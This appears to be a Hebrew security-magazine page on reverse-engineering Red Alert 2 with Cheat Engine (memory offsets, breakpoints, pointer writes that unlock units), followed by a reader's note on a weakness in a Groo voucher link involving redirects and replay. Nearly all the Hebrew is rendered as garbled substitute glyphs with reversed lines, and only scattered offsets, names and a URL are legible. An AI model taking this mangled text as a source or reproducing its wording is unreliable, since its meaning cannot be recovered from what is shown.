˫˧ˣ˯ˬ ˫˧ˡ˰˴ ˶˲˯ˬ ˸ˣˬˡ ˤ˧ˤˢ˪ ˫˧˴ˣ˶˷˩   ˸˟ˣ˸˩˟˷ ˢˮ˟ˬˢ ˢ˧ˢ˧ ˭˩ˡˣ˰˧˷ ˭ˣ˷˞˶ˢ ,(˶˟˩˰ˢ ˫˰)

B823454˟ ,-offset +38  ˫˧˶ˬ˷ˮ ˢ˞˪ˢˣX, Y, Z  ˸˟ˣ˸˩˟˷ ˢˮ˟ˬ˪ ˰˧˟˴ˬ˟B823454: 

 

ˬˡˢ˟ .ˣˤ ˢˮˣˬ˸˟ ˫˧˰˧˲ˣˬ˷ ˫˧˩˶˰˪ ˫˞˸ˢ˟ ˤˣˤ˸ ˸ˣ-0x494  ˞˴ˬˮ ˪˧˧˥ˢ ˢ˲˧˞ ˪˯˵˧˲˪ ˰˧˟˴ˬˢ ˞˴ˬˮ

.ˢ˲ˬ˟ ˰ˠ˶˩ 

 

 

˟ ˫˧˪˧˧˥˪ ˢˤˢ ˢˮ˟ˬ˪ ˰˧˟˴ˬ ˷˧ˣ ˣ˪˷ˬ ˸˧ˮ˟˸ ˷˧ ˪˧˧˥ ˪˩˪-offset 5a8: 
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 ˪˧˧˥ˢ ˪˷ ˸˧ˮ˟˸˪ ˢˮ˟ˬˢ ˪˷ ˭ˣ˶˩˧ˤ ˰˦˵JUMPJET :ˢ˞˶ˮ˷ 

 

 

-˟0x550 Offset ˪ ˫ˢ˪˷ ˶˧˥ˬˢ ˸˞ ˧˸ˡ˶ˣˢ ,˫˧˶˧˥ˬˢ ˫˧˰˟˵ˮ-0  ˯˧˧ˠ˪ ˧ˡ˩ ˱˯˩ ˨˧˶˴ ˞˪˷ ˶ˬˣ˞ ˢˤ˷

˶˧˥ˬˢ ˸˞ ˯˲˞˪ ˧˸˧ˮ˧˷ ,˫˧˪˧˧˥: 

 

 

 ˪˩ ˫˧˶˧˥ˬˢ ˸˞ ˸˧˞˶˵˞ ˢ˶ˣ˴˟ ˸ˣˮ˷˪ˣ ˢ˲˧ ˪ˡˣˬ ˢ˲ ˸ˣ˷˰˪ ˶˷˲˞5  ˵ˣ˷ ˢ˞˶ˮ ˨˧˞ ˸ˣ˞˶ˢ˪ ˧ˡ˩ ˸ˣ˵ˡ

 ˟˧˴˧ ˞˪ ˧˪˩˪˩J 

˟ ,˱˯ˣˮ˟-Offset A0 ˢ ˫˧˶ˣˬ˷-ˢ˸ˣ˞˪ ˷˧˷ "˫˧˧˥" ˟ .˸ˣˬˡ-Offset 9C  ˪˧˩ˬ˷ ˨˶˰ˬ˪ ˯˵ˡˮ˧˞ ˫˧˪˟˵ˬ

 ˧˶˲˯ˬfloat  ˷˧ ˫˞˷ ˨˩ ,˭ˠˬˢ ˧˲˪Damage ˢ ˸˞ ˫˧˥˵ˣ˪ ˫˧ˣ˯ˬ ˵ˮ˦ ˪˷-Damage  ˶˲˯ˬ˟ ˫˧˪˧˲˩ˬˣ

float .˪˰ˣ˲˟ ˡ˶˧˷ ˫˧˧˥ˢ ˶˲˯ˬ ˸˞ ˪˟˵˪ ˧ˡ˩ 

ˢ ˫˧˵ˮ˦˟-offset ˟ ˸˞˴ˬˮ ˵ˮ˦ˢ ˠˣ˯ ˪˷ ˸˧ˮ˟˸ˢ ˪˷ ˰˧˟˴ˬ˪-:0x5ac 
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-˟0x9c˞ˢ ˪˷ ˫ˣ˵˧ˬˢ ,˟ˣ ˵ˮ˦ˢ ˪˷ ˢˮˠˢ˪ ˯˵ˡˮ˧-0xa0  ˵ˮ˦ ˪˩ .˵ˮ˦ ˣ˸ˣ˞˪ ˷˧˷ ˫˧˧˥ˢ ˸ˣˬ˩ ˫˧˶ˣˬ˷

 ˣ˸ˣ˞ˬ ˫˧˵ˮ˦ˢ ˪˩ ,˫˧˧˥ˢ ˶˲˯ˬ ˸˞ ˢ˲ ˢˮ˷ˮ ˫˞ ,ˢ˪˞ˢ ˫˧˧˥ˢ ˫˰ ˢ˧ˢ˧ ˶˴ˣˮ˷ ˢˤˢ ˧˲˧˴˲˯ˢ ˠˣ˯ˢˬ

.˨ˣ˶˰ˮ˷ ˫˧˧˥ˢ ˸ˣˬ˩ ˸˞ ˣ˪˟˵˧ ˫˧˵ˮ˦ˢ ˢˮˣ˟ˬ ˣ˞˴˧˷ ˠˣ˯ 

 
˟ ˫˧˵ˮ˦˟ ˫ˠ-Offset 0x550 :˶˧˥ˬˢ ˰˟˵ˮ 

 

 
 ˪˷ ˫˧ˮ˟ˬ˟˟ ˞˴ˬˮ ˸˧ˮ˟˸˪ ˰˧˟˴ˬˢ ,˵˥˷ˬˢ-0x418ˢˬ ˵˪˥ .-Offset  ˫˧˪ˣ˩˧ˣ ˸ˣˬˡ˪ ˸ˣˬˡ ˭˧˟ ˫˧ˮ˸˷ˬ

˟ .ˣˮ˧˞˶˷ ˣˬ˩ ˫˧˪ˡ˟ˢ ˢˬ˩ ˸ˣ˧ˢ˪-offset 0x1AC  ˸˶ˬ˷ˮ ˢ˴ˣ˟˵ˢ ˨˞ ,˭˵˥˷ˢ ˪˷ ˢ˴ˣ˟˵ˢ ˸˶ˬ˷ˮ

 ˶˲˯ˬ ˭ˣ˶˩˧ˤ˟1 :ˠ˴ˣˬ˷ ˢˬˬ ˸ˣ˥˲ 

 

ˠ ˧ˮ˞˷˩ ˫˧˦˧˧˟ˣ˯ˢ ˪˷ ˫˧˵ˮ˦ ˢˮˣ˟ˢ ˸˞ ˸ˣˮ˟˪ ˨˶ˡ ˷˧˷ ˧˸˧˪˧allies  :ˢ˞˟ˢ ˢ˧˴˵ˮˣ˲˟

 

.˵˥˷ˬ˟ ˸ˣˡ˧˥˧ˢ ˪˩ ˪˷ ˫˧˰˧˟˴ˬˢ ˫˧˰˧˲ˣˬ ˫˷˷ ˫ˡˣ˵ ˣˮ˧˞˶˷ ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵ ˷˧ ˣˤ ˢ˧˴˵ˮˣ˲˟ 

 ˢ˧˴˵ˮˣ˲˟d4d_getUnit ˟ ˥˪˷ˮ-edx  ˯˵ˡˮ˧˞ˢ ˸˞ ˫˷ ˫ˣ˷˶˞ ˧ˮ˞ ˫˞ ˤ˞ ,ˢˮ˟ˬˢ ˠˣ˯˪ ˯˵ˡˮ˧˞0xe 

.˫˧˵ˮ˦ ˢˮˣ˟ˢ ˸˞ ˸ˣˮ˟˪ ˪˩ˣ˞ ˶ˣ˴˧˪ ˢ˴ˣ˶ ˧ˮ˞˷ ˢˮ˟ˬˢ ˫ˣ˵ˬ˟ 
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˲˟ ˢˮ˷˞ ˫˞ ˫˞ ˤ˞ ˢ˧˴˵ˮˣ˲˪ ˢˤˢ ˶˦ˬ˶˲ˢ ˰˧ˠˬ ˢ˲˧˞ˬ ˵ˣˡ˟˪ ˨˧˶˴ ,˟ˣ˦ ˵˧˲˯ˬ ˞˪ ˢˤ ,ˣˤˢ ˢ˧˴˵ˮˣ

 ˡˣ˵ ˰˦˵˟ ˢˤ ˸ˣˮ˷˪ ˨˧˶˴˷ ˫ˣ˵ˬˢ ˞˴ˬˮ˷ ˢ˲˧˞˷ ˫˧˞ˣ˶ ˢ˶ˣ˥˞ ˦˰ˬ ˫˧˪˩˸˯ˬˣ ˣˤˢ ˢ˧˴˵ˮˣ˲ˢˬ ˫˧˞˴ˣ˧

:˞˟ˢ 

 

˪ ˢˮ˷ˮˣ-0xe ˟ ˸˞˴ˬˮ˷ ˸˟ˣ˸˩ˢ ˸˞-[eax+ebx+54] ˫˧˵ˮ˦ ˢˮˣ˟ˢ ˸˞ ˸ˣˮ˟˪ ˸ˣ˶˷˲˞ ˣˮ˪ ˢ˧ˢ˸ ˤ˞ˣ  ˪˷

:˫˧˦˧˧˟ˣ˯ˢ 
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:˫˧˦˧˧˟ˣ˯ˢ ˪˷ ˢˮ˟ˬˢ ˢˮˢˣ 

 

:˧˸˧ˮ˟˷ ˫˧˦˧˧˟ˣ˯ˢ ˪˷ ˫˧˵ˮ˦ˢ ˪˩ ˢ˶ˣ˷˟ ˭˞˩ˣ 

 

 ˡ˥ ˭˲ˣ˞˟ ˫˧˦˧˧˟ˣ˯ ˪˷ ˫˧˵ˮ˦ ˢˮˣ˟ ˸ˣˮ˟˪ ˪˩ˣˮ˷ ˪˧˟˷˟ ˵˧˲˯ˬ ˢˤ ˨˞ ˱ˣ˯ˢ ˡ˰ ˶˵˥ˮ ˞˪ ˢˤˢ ˢˮ˟ˬˢ

ˢ ˪˷ ˫˧˵ˮ˦ ˢˮˣ˟ˢ ˸˞ ˟ˣ˷ ˢ˞˶˞ ˧ˮ˞ ˢˮˣ˟ ˧ˮ˞˷ ˧˶˥˞ ,˧ˬ˰˲-allies ˴˞ ˧˪ˣ˞ ˢ˞˟ˢ ˫˰˲ ˡ˰ ˞ˣ˴ˬ˪ ˥˧˪

 ˫˧˦˧˧˟ˣ˯ˢ ˪˷ ˫˧ˮ˟ˬˢ ˪˩ ˸˞ ˶ˣ˴˧˪ ˪˩ˣ˞˷ ˢ˩˩ ˧˪˷ ˫˧ˮ˧˧ˮ˟ ˢˮˣ˟˪ ˢ˪˞ˢ ˫˧ˮ˧˧ˮ˟ˢ ˸˞ ˱˧˯ˣˢ˪ ˨˧˞ ˨˶ˡ

ˢ ˪˷˪ ˱˯ˣˮ˟-allies 

 

 

˵ˬˣ˰˪ ˵˥˷ˬ˟ ˸ˣˠ˶ˡˢ ˥ˣ˸˧ˮ 

:˸ˣ˷˰˪ ˶˷˲˞˷ ˫˧ˡ˰˴ ˢˬ˩ ˷˧ ˵˥˷ˬ˟ ˸ˣˠ˶ˡˢ ˸˞ ˸ˣ˪ˠ˪ ˸ˮˬ ˪˰ 

1˟ ˫˧˷˪ ˤ˞ˣ "ˢ˪˧ˠ˶ ˢ˶ˣ˴˟" ˢˠ˶ˡ ˪˧˧˥ ˪˩ ˸ˣ˪˰ˢ˪ ˶˷˲˞ (CE-  ˸˞ ˧ˮ˷ˢ ˡ˧˪ ˡ˥˞2  ˸ˣ˞˶˪ˣ ˫˧˪˧˧˥ˢ

˟ .˫˧˪˧˧˥ˢ ˭˧˟ ˢˮˣ˷ ˢˡ˷ ˢˤ˧˞-CE :ˢ˞˟ˢ ˞ˬˠˣˡ˟ ˣˬ˩ ˡ˥˧˟ ˫˧ˮ˟ˬ ˢˬ˩ ˫˧˷˪ ˸ˣ˶˷˲˞ ˷˧ 

 

.˪˧˧˥˪ ˪˧˧˥ ˭˧˟ ˢˮˣ˷ ˢˬ ˸ˣ˞˶˪ˣ ˸ˣˣ˷ˢ˪ ˪˵ ˤ˞ˣ 
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2 ˫˧˷˪ ˶˷˲˞ .ˡ˟˪ ˫˧˪ˣ˰ ˪˧˧˥ˢ ˪˷ ˫˧˧˥ˢ ˤ˞ ,˭˧˴˵ ˸ˠ˶ˡ ˪˧˧˥˪ ˷˧˷˩ (HW BP  ˤ˞ˣ ˫ˣ˵ˬ˪ ˢ˟˧˸˩ ˠˣ˯ˬ

˶˪ ˞ˣˢ ˢˤˢ ˢˡ˷ˢ ˫˞ ˢ˵˧ˡ˟ ˷˧˷ ˸ˣ˞2 ˰˧ˠˮ ,˸˞ˤ ˣˮ˧˷˰ˣ ˢˡ˧ˬ˟ . ˰˦˵˪ˢˢ ˡˣ˵:˞˟ 

 

:ˣˤˢ ˢ˧˴˵ˮˣ˲ˢˬˣ 

 

:˞˟ˢ ˡˣ˵ ˰˦˵˪ ˫˧˰˧ˠˬ 

 

 ˢ˧˴˵ˮˣ˲˟d4d_checkRank_0  ˸ˣˡˣ˵˲ ˫˰ ˢ˵˧ˡ˟ ˷˧FPU  ˠˣ˯ˬ ˞˧ˢ ˢˠ˶ˡˢ˷2 ˫˧˧˥ˢ ˫˧˪ˣ˰ ˭˩ˣ ˢˡ˧ˬ˟ ,

-˟1: 

 

 ˷˧˷ ˧˸˧˪˧ˠ ˨˩ˣ2 ˸ˣˠ˶ˡ ˪˷ ˫˧ˠˣ˯:  ˢˠ˶ˡˣ ˢ˪˧ˠ˶˭˧˴˵ ˸ˠ˶ˡ . ˶ˣ˸˟ ˸ˣˡ˧˥˧ˢ ˪˷ ˢˮ˟ˬ˟ ˸˶ˬ˷ˮ ˢˠ˶ˡˢ

double ˟-Offset 0x118 ˢˮˣˬ˸˟ ˢ˞˟ˢ ˫˧˞ˣ˶ ˪˧˧˥ ˢˠ˶ˡ˟ 1 ˵ˮ˦ˣ ˢˠ˶ˡ˟ 2: 
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˭˲ˣ˞˟ ˧˪˪˩ ˧˞ ˶˷˲˞ ˫˧˷˪ ˢˠ˶ˡ ˯ˡˮˢˬ˪: 

 

 ˣ˪˧˲˞ˣ ,˵˥˷ˬ˟ ˸ˣˡ˧˥˧ˢ ˪˩˪ ˸ˣˠ˶ˡ ˫ˣˤ˧ ˭˲ˣ˞˟ ˫˧˷˪ ˸ˣ˶˷˲˞ ˷˧ ˨˞- !˫˧ˮ˧˧ˮ˟˪ 

  

 ˪˩ ˸˞ ˪˟˵˪ ˧ˡ˩ ˭ˣ˶˵˧˰˟ ˨˶ˡ ˷˧ ˨˞ ,˟˧ˣ˞ˢ ˪˷ ˭˧˧ˮ˟˪ ˪ˠ˶ˬ ˯˧ˮ˩ˢ˪ ˨˧˶˴ ˸˥˞ ˢˠ˶ˡ˟ ˫˧˵ˮ˦ˢˣ ˫˧˪˧˧˥ˢ

:˪ˠ˶ˬˢ ˧˪˟ ˦˵˲˞ˢ ˣ˸ˣ˞ ˸˞ ˪˟˵˪ ˧ˡ˩˟ ˸ˣ˞˟ˢ ˸ˣ˪ˣ˰˲ˢ ˸˞ ˰˴˟˪ 

) ˧˦˦˯ ˞ˣˢ ˢˤ ˢˮ˸˷ˬA35DB4 ˢˤ ˢˮ˸˷ˬ˪ ˞˶˵ˮ .˟˧ˣ˞ˢ ˪˷ ˢˮ˟ˬ˪ ˰˧˟˴ˬ ˶ˣˬ˷ ˣ˟ˣ (EnemyPlayer. 

˫˧˪˧˧˥ ˪˧˟˷˟: 

*( EnempyPlayer )  + 0x144  = 1 

*( EnemyPlayer )  + 0x206  = 1 

:˫˧˵ˮ˦ ˪˧˟˷˟ 

*( EnempyPlayer )  + 0x144  = 1 

*( EnemyPlayer )  + 0x207  = 1 

Offset 0x144 ˪ ˣ˪˷ ˨˶˰ˢ ˧ˣˮ˧˷ .˫˰˲ ˪˩ ˯˲˞˸ˬ ˞ˣˢ˷ ˧ˮ˲ˬ ,˫˰˲ ˪˩ ˷ˡ˥ˬ ˶ˡˠˣˬ ˸ˣ˧ˢ˪ ˨˧˶˴-1 + 

.˸˥˞ ˢˠ˶ˡ ˫˰ ˫˧˶˟ˡ ˞˧˴ˣˢ˪ ˫˧˵ˮ˦ˣ ˫˧˪˧˧˥ ˢˮˣ˟˪ ˫˶ˣˠ˷ ˢˬ ˞ˣˢ ˨˧˶˴˷ ˦˧˟ˢ ˧ˣˮ˧˷ 

 ˷˧2 :˫˧˞˟ˢ ˫˧ˮ˧˧ˮ˟˪ ˪ˠ˶ˬ ˫˧˯˧ˮ˩ˬ ˫˞ ˵˶ ˪˟˵˪ ˶˷˲˞˷ ˫˧ˡ˥ˣ˧ˬ ˫˧˪˧˧˥ 

Soviet Battle Lab  

*( EnempyPlayer )  + 0x144  = 1 

*( EnemyPlayer )  + 0x204  = 1 

Allied Battle Lab  

*( EnempyPlayer )  + 0x144  = 1 

*( EnemyPlayer )  + 0x205  = 1 

:˫˧˞˟ˢ ˫˧˪˧˧˥ˢ ˸˞ ˪˟˵ˮ ,ˣ˪˞ ˸ˣ˪ˣ˰˲ ˰ˣ˴˧˟ ˶˥˞˪ 
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˫ˣ˩˧˯ 

˵˥˷ˬ˪ ˧˸˰˴˧˟˷ ˶˵˥ˬ ˸ˣˡˣ˞ ˪˰ ˫˧˶ˬ˞ˬ ˸˶ˡ˯˟ ˥˸ˣ˲ˢ ˵˪˥ˢ ˣˮ˧ˢ ˢˤ ˵˪˥ Red Alert 2 ˢˤ ˵˪˥˟ ,

.˵˥˷ˬ˟˷ ˸ˣˠ˶ˡˢ ˫ˣ˥˸˪ ˪ˣ˪˴˪ ˣˮ˪˥˸ˢ ˱˞ˣ ,ˢˬˡ˵ˢˢ ˸˞ ˧˸ˠ˴ˢ  ˫˸˪˥˸ˢ ˶˟˩˷ ˨˧˶˰ˬ ˧ˮ˞ ,˱˯ˣˮ˟

 ˪˷ ˢˡˣ˟˰ˢ ˸˞ ˫˧˟˪˷ˬ ˡ˴˧˩ ,ˢ˞˶ˮ ˢˤ ˠˣ˯ˬ ˶˵˥ˬ ˭ˣˮˠ˧˯ ˨˧˞ ˭˧˟ˢ˪CE ˣ "˫˧˪˧ˠ˶ˢ" ˶˵˥ˬˢ ˧˪˩ ˫˰˨˧˞ 

˨˧˶˴ ˸˷ˠ˪ ˢˡˣ˟˰˪ ˪˧˥˸ˢ˪ˣ ˶ˣ˵˥˪ ˧˵˥˷ˬ ˟˷˥ˬ x˞ ˸ˣˮ˩ˣ˸.   ˦˰ˬ ˫˧˰ˣ˶˧˞˪ ˪ˣ˪˴ˮ ˫˧˞˟ˢ ˫˧˵˪˥˟

.˫˧˷ˡ˥ ˫˧˦˧'˴ ˪˪˷ ˶ˣ˴˧ˮˣ ˫˧˟˩˶ˣˬ ˶˸ˣ˧ 

 

˶˟˥ˬˢ ˪˰ 

D4d ˵˯ˣ˰ ˫ˣ˥˸˟ s-Reverse Engineering ˞ˣˢ ,˫˧ˮ˷ ˪˷ ˭˦˵ ˞˪ ˶˲˯ˬ CEO ˸˶˟˥˟ KCB Labs ˶˷˞ 

˸ˮ˸ˣˮ ˧˸ˣ˶˧˷ ˳ˣ˰˧˧  ˞˷ˣˮ˟˸˥˦˟˞ ˰ˡ˧ˬ ˫ˣ˥˸˟ s-Reverse engineering ˡ˴˧˩ˣ ˭ˠˢ˪ ˪˰ ˸ˣˮ˩ˣ˸ ˧ˮ˲ˬ 

˸˟˧ˮˠ ˸ˣˡˣ˯ ,ˢ˫˸˧˶ˣˠ˪˞ ˪˷ ˶˴ˣˬˢ ˡˣ˰ˣ. 

 ˞ˣˢ ˧ˣˮ˲ˢ ˣˮˬˤ˟˟ˢˣ˞ ˶ˣ˵˥˪ ˧˵˥˷ˬ ˟˷˥ˬ ˸ˣˮˠˢˣ .˸ˣˮ˩ˣ˸˟ ˪˩˪ ˢ˪˞˷ x˞ ˳ˣ˰˧˧ ˷˧ ˸ˣˮ˲˪ ˧˪˞ ˪˧˧ˬ˪: 

llcashall@gmail.com 

  

mailto:llcashall@gmail.com
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?˧˪˷ ˫˧ˮˣ˲ˣ˶ˠˢ ˢ˲˧˞ 

 ˸˞ˬ˧ˣ˪ ˭˶ 

 

ˢˬˡ˵ˢ 

 .˸˶˩ˣˬ ˢ˶˟˥ˬ ˸˧˷˧˞ ˢ˴˧˲˪ ˭ˣ˲ˣ˵ ˸ˣˮ˵˪ ˫˧ˡˣˬ˧˪ ˫ˣ˧ ˰˴ˬ˞˟ ˦˧˪˥ˢ˷ (˧ˮ˞) ˟˰˶ ˫ˡ˞˟ ˪˧˥˸ˬ ˣˮ˧˶ˣ˲˧˯

 ˧˸˯ˮ˩ˮ ˧˶˥˞ .˟ˣ˦ ˢ˞˶ˮ˷ ˭ˣ˲ˣ˵ ˧˸˧ˮ˵ˣ (˭ˣ˲ˣ˶ˠ ,˧ˬˬ˰ˢ ˫˷˟ ˭˞˩ ˫ˢ˪ ˞˶˵˞ ˨˞ ,˵ˣ˧ˡ ˶˸˧˪ ˣ˶ˠ) ˭ˣ˲ˣ˶ˠ˪

 ˫ˠ ˵ˮ˧˪ ˣ˸ˣ˞ ˪˟˞ ,˧ˮˣ˟˰˶ ˸˞ ˰˧˟˷ˢ˪ ˶ˣˬ˞ ˢ˧ˢ˷ ,˵˷˥ˮˢ ˭ˣ˲ˣ˵˪ ˵ˮ˧˪ ˪˧˧ˬ˪ ˧˧˪˞ ˰˧ˠˢ ˸ˣ˵ˡ ˢˬ˩

.ˢˤˢ ˶ˬ˞ˬˢ ˸˞ ˫˩˪ ˟ˣ˸˩˪ ˡ˧˸˰˟ ˧˪ ˫ˣ˶ˠ˧ 

?˪˧˧ˬ˟ ˢ˧ˢ ˢˬ 

 

 ,˪˥ˣ˧ˬˢ ˪˧˧ˬˢ ˧˧˪˞ ˰˧ˠˢ ˶˸˞˪ ˯ˮ˩˧ˢ˪ ˧˧˪˰ ,˭ˣ˲ˣ˵˟ ˸ˣ˲˴˪ ˧ˡ˩ˣ ,˭ˣ˲ˣ˵ˢ ˪˷ ˢ˧˧ˮ˵ˢ ˢ˰˴ˣ˟˷ ˶˷˞ˬ˷

.˶˟ˣ˷˟ ˸ˣ˲˴˪ ˤ˞ˣ ˶˟˥˸ˢ˪ ,˭ˣ˲ˣ˶ˠ  

˩ ˡ˶ˣ˧ˣ ˭˰˦ˮ ˭ˣ˲ˣ˵ˢ..˷ ˢ˪ˠˬˣ ˞˧˪˲ˢ˪ ˪ˣˡˠˢ ˶ˣ˸˲˩ˢ ˪˰ ˳˥ˣ˪ ˧ˮ˞ ˢ˥˶˦ˢ ˪˰ ˯˞ˣ˟ˬ-pdf  .˫ˣ˶˩˟ ˟˞˦˪

.˫˧˧˪˰ˮ ˞˪ˣ ˸ˣ˶˟˥˸ˢ ˞˪ 
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ˢˬ˶˵˥ 

 ˪˰˟ ˢ˧ˢ ˪˧˧ˬ˟ ˧˸˪˟˧˵˷ ˵ˮ˧˪ˢ:ˢˤˢ ˦ˬ˶ˣ˲ˢ 

https://www.groo.co.il/voucher/KSDkjklafj90lmKLM564LJIADdf7MjljN2fghjbjN

iM2dfgdFSDJDAdfhySF==  

 "ˢ˥˦˟˞˪ ˣˠ˞ˡ ˭ˣ˲ˣ˶ˠ ˥˦˟" .ˢˮ˲˴ˢ ˞˧ˢ˷ˣˤ˧˞ ˫˧˶˧˩ˤˬ˷ ˫˧˶˲˯ˬ ˢ˟˶ˢˬ ˟˩˶ˣˬ ˵ˮ˧˪ˢ ˧˩ ˧˸˧˞˶

.˧ˮˣ˟˰˶ ˸˞ ˦˧˵˷ˢ˪ ˧˸˲˰ˣ ˢ˟˷˥ˬ ˨˩˪ ˧˸˷ˡ˵ˢ ˞˪ ˤ˞ ,˧˸˧ˢ˸ 

˶˥˞˪  ˢ˥ˣ˶˞ˢ ˞˪ ˧ˮˣˬ˩˷ ˦˯˧ˮˡ˷˥ .˟˞˦˟ ˧˪ ˥ˣ˸˲ ˭˧˧ˡ˰ ˵ˮ˧˪ˢ ˧˩ ˢ˞ˣ˶ˣ ˟ˣ˷ ˟˷˥ˬˢ ˸˞ ˥˸ˣ˲ ˧ˮ˞

˟ ˳˧˴ˢ˪ ˞˪˷ ˪ˣ˩˧-url:˨˷ˬˢ˟ˣ ˭˞˩ ˫˧˦˶˲ˢ ˶ˣˤˮ˴ ˪˰ ˧˪ ˣ˥˪˯ . 

 

˫ˡˣ˵ˬ ˪˧˧ˬ˟ ˧˪ ˣ˥˪˷˷ ˵ˮ˧˪ˢ ˞˪ ˢˤ...˧˧ˢ- ˧˪ ˣ˷˰˷ ˶˥˞ ˵ˮ˧˪ ˢˤredirect .ˣ˧˪˞  ˪˟˵ˬ ˧ˮ˞ ˭ˣˮ˰˶ ˧˶˥˞

 ˸˞˧ˠ˷404˟ˣ˷ ˦˧˪˥ˬ ˧ˮ˞ ˤ˞ , .˪˧˧ˬˢˬ ˞ˣˢˢ ˪ˣˡˠˢ ˶ˣ˸˲˩ˢ ˪˰ ˳ˣ˥˪˪ 

?ˢ˞ˣ˶ ˧ˮ˞ ˢˬˣ 

 ˶˲˯ˬˢ˷ ˧˸ˮ˟ˢ ˡ˧ˬ .ˢˢˤ ˶˞˷ˮ ˧˰˴ˬ˞ˢ ˶˲˯ˬˢ .˭˧ˬ˧ ˡ˴˟ ˶˲˯ˬ˟ ˸ˣ˶˲˯ˢ ˢˤ ˢˮ˸˷ˢ˷ ˢˬ ˪˩

.˭ˣ˲ˣ˶ˠ ˪˴˞ ˢˮ˵ˮ˷ ˭ˣ˲ˣ˵ˢ ˶˲˯ˬ ˫˴˰˟ ˞ˣˢ ˧˰˴ˬ˞ˢ ˟ ˭ˬˤˢ ˸˞ ˧˪ ˶˧˩ˤˢ ˡˣ˞ˬ ˧ˮ˷ˢ ˶˲˯ˬˢ-unix .

.˧˧˸ˣˡ˷˥ ˸˞ ˢ˶˷˧˞ ˪ˠˣˠ˟ ˢ˶˴˵ ˢ˵˧ˡ˟ 

˸˦˪˥ˢˢˣ ,˪˧˧ˬ˟ ˧˸˪˟˧˵˷ ˵ˮ˧˪˪ ˟ˣ˷ ˯ˮ˩˧ˢ˪ ˧-redirect  ˧ˮ˷ˢ ˶˲˯ˬˢ˷˩ ,˵ˣ˧ˡ˟ ˵ˮ˧˪ ˣ˸ˣ˞˪ ˧˸ˣ˞ ˶˧ˤ˥ˢ

.ˢˢˤ ˞ˣˢ ˫ˠ 

˭˧˧ˮ˰ˬ ...?˫ˡˣ˵ˬ ˣˬ˩ ˢˮ˸˷ˢ ˞˪ ˞ˣˢ ˢˬ˪ 

  ˢ˪˧ˬˢ ˫˧˧ˮ˧˰˪ ˶˷˧ ˧˪ ˳˲˵ˣ ˵ˮ˧˪˟ ˟ˣ˷ ˧˸˦˟ˢ ˤ˞static: 

 

 ˪˷ ˸˧˪˧˥˸ˢgroo ˵ˢ ˭ˣ˯˥˞˪ ˧˦˦˯ ˸˶˷ ˣˢˤ .ˢ˪˧ˬˢ ˸˞ ˯˲˯˲˪ ˧˪ ˢˬ˶ˠ!˫˧ˮˣ˲ˣ 

˪ ˫˪ˣ˰˟ ˧˯˞˪˵ ˢ˶˵ˬ ˞ˣˢ ˸ˣ˶˟˥˸ˢ ˞˪˪ ˫˧ˮˣ˲ˣ˵ˢ ˸˷ˠˮˢ˪ ˧˦˦˯ ˸˶˷ ˪˷ ˦˲˯ˮˣ˵ˢ-tradeoff  ˧˸˪˟ˢ

 :˰ˮˬˮSecurity vs Usability. 

 ˭˧ˬ ,˪˧˧ˬˢ ˨˶ˡ ˸ˣ˶˧˷˧ ˵ˮ˧˪ˬ ˣ˪˷ ˭ˣ˟˷˥˪ ˢ˷˧ˠ ˷ˬ˸˷ˬ˪ ˸˸˪ ˫˪ˣ˰˟ ˶˸ˣ˧ˣ ˶˸ˣ˧ ˳ˣ˲ˮ ˫ˣ˧ˢ

authentication  ˷ˬ˸˷ˬˢ ˪˷ ˪˧˧ˬˢ ˫˞˷ ˢ˥ˮˢˢ ˪˰ ˨ˬ˸˯ˬ˷ ˸ˣˮˣ˟˷˥ˢ ˪˩˪ ˳ˣ˶˲˪ ˫ˠ ˶˷˲˞ ,˳˶˲ˮ

.˞ˬ˯˧˯ ˶ˣˤ˥˷ ˸ˣ˰˴ˬ˞˟ ˣ˧˪˞ ˫˧˶˷ˣ˵ˬ˷ 

 :˰˲˷˟ ˷˧ ˸ˣ˞ˬˠˣˡunsubscribing  ˢ˯˧ˮ˩ ,˷ˬ˸˷ˬ˟ ˸ˣ˶ˡˠˢˢ ˱ˡ˪ ˸ˣ˶˧˷˧ ˫˧˪˧˟ˣˬ ˫˧ˮ˟˴˰ˬ ˫˧˪˧˧ˬ˪

,˸˧˸˶˟˥ ˸˷˶˟ ˭ˣ˟˷˥˟ ˫˸˪˟˧˵˷ ˸ˣ˧˦˶˲ˢ ˸ˣ˰ˡˣˢ˪ ˸ˣ˶˧˷˧ .ˡˣ˰ˣ 
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ˮˣ˵ˢ ˡ˰˟ ˧ˮ˞ ,˸ˣ˞ˬ˯˧˯ ˢ˟˶ˢ ˵˧ˤ˥ˬ˷ ˭˪˴˰ ˫ˡ˞˩.˭ˣ˩ˮ ˢ˷˰ˮ ˞ˣˢ˷˩ ˪˟˞ ,˦˲˯  ˸ˣˮˣ˧˯ˮ ˣ˧ˢ ˭˩˞ ˭˞˩ˣ

:˰˴ˣˬˬˢ ˱˵ˣ˸ˢ ˪˰ ˸ˣ˷˵ˢ˪ 

¶ ˸ˬ˧˯˥ ˸ˣ˲˵˸ˬ replay ˰"˧ ˸˲˯ˣˢ ˶˲˯ˬˢ ˢˮ˸˷ˬ ˨ˣˬ˯˟ ˶˲˯ˬ˪ ˭ˣ˲ˣ˵ˢ )˶˲˯ˬˢ ˡ˴˟ ˭˧ˬ˧ .( 

 ˨˲ˣˢ˷ ˢˬ ,ˢ˶˧˴˧˪ ˢ˶˧˴˧ˬ ˢˮ˸˷ˬˣ ˣ˷˥ˮ˪ ˨˶ˣ˴ ˷˧˷ ˢˢˤˬ ˫ˠ ˪˟˵ˬ ˭ˣ˲ˣ˵ ˪˩˷ ˞˧ˢ ˸ˣ˰ˬ˷ˬˢ

 ˸ˣ˲˵˸ˢreplay .˸ˣ˰ˬ˷ˬ ˸ˣ˶˯˥˪ 

¶ ˭ˣ˲ˣ˵ˢ ˞˪ ˶˴ˣˮ ˷ˡ˥ˬ ˫˰ ˪˩ redirect ,˞˪˞ ˶ˬ˷ˮ ˸˶˷˟ ,˸˞ˤˣ ˢ˧˧˞˶˪ ˧˶˥˞˷ ˢˬ˩ ˸ˣ˴˧˥˪ ˪˰ 

˵ˮ˧˪ˢ ˭ˬˤˢ ˞˪ ˢˮ˸˷ˢ .˧˶˥˞ ˸ˣ˵˧ˡ˟ ˫˧ˮˬˤ˟ ˫˧ˮˣ˷ ,˵ˮ˧˪ˢ ˡ˶ˣ˧ ˸˶˷ˢˬ ˢˬ˩ ˸ˣ˵ˡ ˧˶˥˞ ˞ˣˢ˷ 

˶˴ˣˮ. 

